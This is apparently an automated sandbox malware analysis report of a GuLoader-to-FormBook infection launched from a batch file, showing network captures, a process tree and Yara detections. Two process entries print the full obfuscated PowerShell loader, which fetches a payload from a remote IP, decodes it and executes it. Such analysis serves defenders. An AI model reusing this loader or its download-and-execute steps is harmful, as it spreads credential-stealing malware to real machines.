Apr 25, 2024 10:37:31.050903082 CEST	1289	IN	Data Raw: 3d 8a 00 41 9c 1a 9b 09 5a e6 91 f8 1c 64 03 e4 b0 31 f5 b7 c9 c2 e8 14 24 ac a7 82 d7 f7 fd 61 f2 33 5d 5f d2 0f e7 d7 ec bf 2e fa fc c6 7f d2 b1 ed c0 39 e7 23 70 55 b1 df 2f 22 29 0c 6b dd bd ad 46 3e 89 7a b2 f4 2d 52 36 18 73 50 a9 0f 28 b4 Data Ascii: =AZd1$a3]_.9#pU/")kF>z-R6sP(&y{Z>X^2B\,/i*MIk\|,9/L\|GtH\|4`Vd6U"wioNFn}\|?A-}JR]i+3qdo\=af)>
Apr 25, 2024 10:37:31.050941944 CEST	1289	IN	Data Raw: 83 35 7c 92 3d 7f 6d 8c 11 b9 a0 08 d7 90 ae 37 35 42 93 4b 75 16 d5 4d c5 67 7c 6d a8 cd c2 fb 5d e9 f7 30 13 ad cb bc 48 bb 40 e9 98 21 b0 34 51 90 83 d3 28 27 09 51 ef f8 9d 49 8a 52 8a b5 d8 59 7e 05 34 d6 f0 29 63 a3 e3 77 22 c5 a9 64 99 ba Data Ascii: 5\|=m75BKuMg\|m]0H@!4Q('QIRY~4)cw"djB!OHKhJ`-q4-\|.Q"h!k1#C"*0U?J-gum[#@(vF4aCm!wW^z0K)p'AZr,#8Dyl
Apr 25, 2024 10:37:31.051018000 CEST	1289	IN	Data Raw: 6d 3b 1a 57 5b 22 c1 3d 54 85 43 6f 41 1a 4e 15 fb ad d8 dc 13 cd 9b 18 56 dd 2c d8 ec ae ed 3f 20 10 40 6a 9c 78 6b 36 39 43 d1 a6 6c e5 4d 29 ef 75 72 7c 5d 65 5c 64 74 02 46 5e 06 a1 90 c8 b0 d5 87 15 ad 58 e1 a6 c3 7b 86 86 6d 39 2c 0c 03 a2 Data Ascii: m;W["=TCoANV,? @jxk69ClM)ur\|]e\dtF^X{m9,AaP+9BQQ<@9e,IxQ\|H_o+cim_-hAmrOw8E5dZ5e Bt\~uQbn:E Cj8DlG_k_!8jR<
Apr 25, 2024 10:37:31.051059008 CEST	1289	IN	Data Raw: e1 20 70 34 ec 25 10 fb 9a 43 91 d8 88 bb 7f b3 e6 cf 35 0d 62 39 cf bc 91 b1 8b 78 e4 19 10 24 61 b6 c5 ae 85 23 ec 5c bc fc b8 32 e0 ee 19 1f 4e e0 ee 89 b3 78 2f 9a 66 c8 32 04 58 da 39 90 58 4c e4 68 6e 21 c7 aa fa 85 47 30 d8 f5 55 85 b4 e2 Data Ascii: p4%C5b9x$a#\2Nx/f2X9XLhn!G0Us1YJfqI^%)Qn%q^J1^'U#[`1\L0D^0`!=\|+<'xKNIt"KR>pf0,K+OWe2B8I.jtAi\mjgg<@
Apr 25, 2024 10:37:31.264198065 CEST	1289	IN	Data Raw: 1f 44 59 e2 ad ff af 5e 1a 0a e5 82 62 1e 56 54 e1 b9 86 bb 41 38 2b ad 68 1d f1 66 76 c1 3a 76 b5 db 08 77 91 78 ee 96 7f ca a5 f9 6a 8e ef cb a7 29 42 d6 75 4e 59 2c cf 71 d3 74 14 0e 8d d0 f8 a9 7b 5f f0 3f ea 00 b5 44 52 d0 81 cd f6 8a 15 39 Data Ascii: DY^bVTA8+hfv:vwxj)BuNY,qt{_?DR9#{e ba sUcgcAgoz\fa,Ndm}%geEDGv1E{9yVm~?x<DjA k`-8hso=Sv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	47.91.88.207	80	5752	C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 10:38:15.481769085 CEST	524	OUT	GET /gnbc/?zJeP=Xbjl2p0h-LP&Nr=L9JeOsoYfW7LuiHbEVFIUxrrDEUMATYC8gDNcZo86ZNgoJ0Ky4PaH7PNod07P46PC5yTK57EcxKk26T8ts7darwqgM7ePv0Xp25EyyEytypCDy9EhkfmkBo= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close Host: www.tyaer.com User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Apr 25, 2024 10:38:15.708785057 CEST	1254	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 25 Apr 2024 08:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Trace: 2BCC8BC549D53EE22AA10BCC51E0054033F8F3F985665509D422F7314A00 Set-Cookie: _csrf=22f92dd2106e2fbe987a333ff1d123faeb00c04eb6ad213ca57619b7d83dcc94a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22Gfc-qiP4I9WJKcSYWA1X4uyRp-lLUIMZ%22%3B%7D; path=/; HttpOnly Data Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 35 74 32 6f 44 48 71 31 6b 61 70 58 42 71 56 73 42 51 6e 4c 61 61 45 37 68 75 59 6b 4c 53 56 31 72 34 7a 54 72 56 56 2d 68 4e 69 68 75 38 73 68 43 39 7a 42 6e 68 34 5f 38 69 5a 4f 61 70 67 77 39 6e 71 33 76 68 42 59 58 43 66 66 6f 62 5f 68 41 44 66 4a 67 67 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 69 74 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 65 72 72 6f 72 22 3e 0a 0a 20 20 20 20 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 68 31 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 64 61 6e 67 65 72 22 3e 0a 20 20 20 20 20 20 20 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 54 68 65 20 61 62 6f 76 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 74 68 65 20 57 65 62 20 73 65 72 76 65 72 20 77 61 73 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 0a 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 75 73 20 69 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 20 54 68 61 6e 6b 20 79 6f 75 2e 0a 20 20 20 20 3c 2f 70 3e 0a 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="csrf-param" content="_csrf"> <meta name="csrf-token" content="5t2oDHq1kapXBqVsBQnLaaE7huYkLSV1r4zTrVV-hNihu8shC9zBnh4_8iZOapgw9nq3vhBYXCffob_hADfJgg=="> <title>Not Found (#404)</title> <link href="/css/site.css" rel="stylesheet"></head><body><div class="wrap"> <div class="site-error"> <h1>Not Found (#404)</h1> <div class="alert alert-danger"> Page not found. </div> <p> The above error occurred while the Web server was processing your request. </p> <p> Please contact us if you think this is a server error. Thank you. </p></div></div></body></html>0

Target ID:	0
Start time:	10:36:52
Start date:	25/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Doc_004024024001.bat" "
Imagebase:	0x7ff679230000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:36:52
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:36:52
Start date:	25/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle hidden "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s,eBn,h e dUe nBs )U ');Roebling (Takilman203 'B$Kg lRo,b,aPlM:KLPn.n i nMgBs.d.a gLe,n. R=, ,[,SRy.s t,e,mS.DTCe xDtO. EMn csofd.i,nSg ] : : A S C IPI .MG e.tRS.t.r,i n gD( $SHBeJa d.mLeEn ) ');Roebling (Takilman203 'S$.g l o,bPaRl :SR e n u.mCm e,rKeSrKePdceBsB= $sLBn,n,ipnag s d aDg eBn..,s u b s,tTrPi nPg (G2.7,5.3P9 0N,H2 6 5 4 1 )V ');Roebling $Renummereredes;"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000002.00000002.2349440816.000001C0B94F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:36:52
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:36:54
Start date:	25/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Stregmaalene.Dis && echo $"
Imagebase:	0x7ff679230000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:37:03
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s,eBn,h e dUe nBs )U ');Roebling (Takilman203 'B$Kg lRo,b,aPlM:KLPn.n i nMgBs.d.a gLe,n. R=, ,[,SRy.s t,e,mS.DTCe xDtO. EMn csofd.i,nSg ] : : A S C IPI .MG e.tRS.t.r,i n gD( $SHBeJa d.mLeEn ) ');Roebling (Takilman203 'S$.g l o,bPaRl :SR e n u.mCm e,rKeSrKePdceBsB= $sLBn,n,ipnag s d aDg eBn..,s u b s,tTrPi nPg (G2.7,5.3P9 0N,H2 6 5 4 1 )V ');Roebling $Renummereredes;"
Imagebase:	0x880000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000005.00000002.2014092746.0000000005BA2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000005.00000002.2024565925.0000000008830000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000002.2024745379.0000000009228000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:37:04
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Stregmaalene.Dis && echo $"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:37:23
Start date:	25/04/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0x80000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2313216444.0000000002D10000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.2313216444.0000000002D10000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2350818300.00000000252F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.2350818300.00000000252F0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:37:53
Start date:	25/04/2024
Path:	C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe"
Imagebase:	0x560000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2871400550.0000000003C00000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2871400550.0000000003C00000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	10:37:55
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\AtBroker.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\AtBroker.exe"
Imagebase:	0xae0000
File size:	68'608 bytes
MD5 hash:	D5B61959A509BDA85300781F5A829610
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.2869919929.0000000000570000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.2869919929.0000000000570000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.2870468418.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.2870468418.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.2870539182.0000000000A50000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.2870539182.0000000000A50000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	10:38:08
Start date:	25/04/2024
Path:	C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe"
Imagebase:	0x560000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.2872962180.0000000004F70000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000D.00000002.2872962180.0000000004F70000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	10:38:13
Start date:	25/04/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0x80000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:38:15
Start date:	25/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff650660000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:38:20
Start date:	25/04/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:38:23
Start date:	25/04/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0x80000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FFD9B8ACF51 Relevance: .4, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2381852516.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e95e82ed3c33fb59737b66018ff6d6ec3154e291d69a4a8471acdf7d5a1d95ee
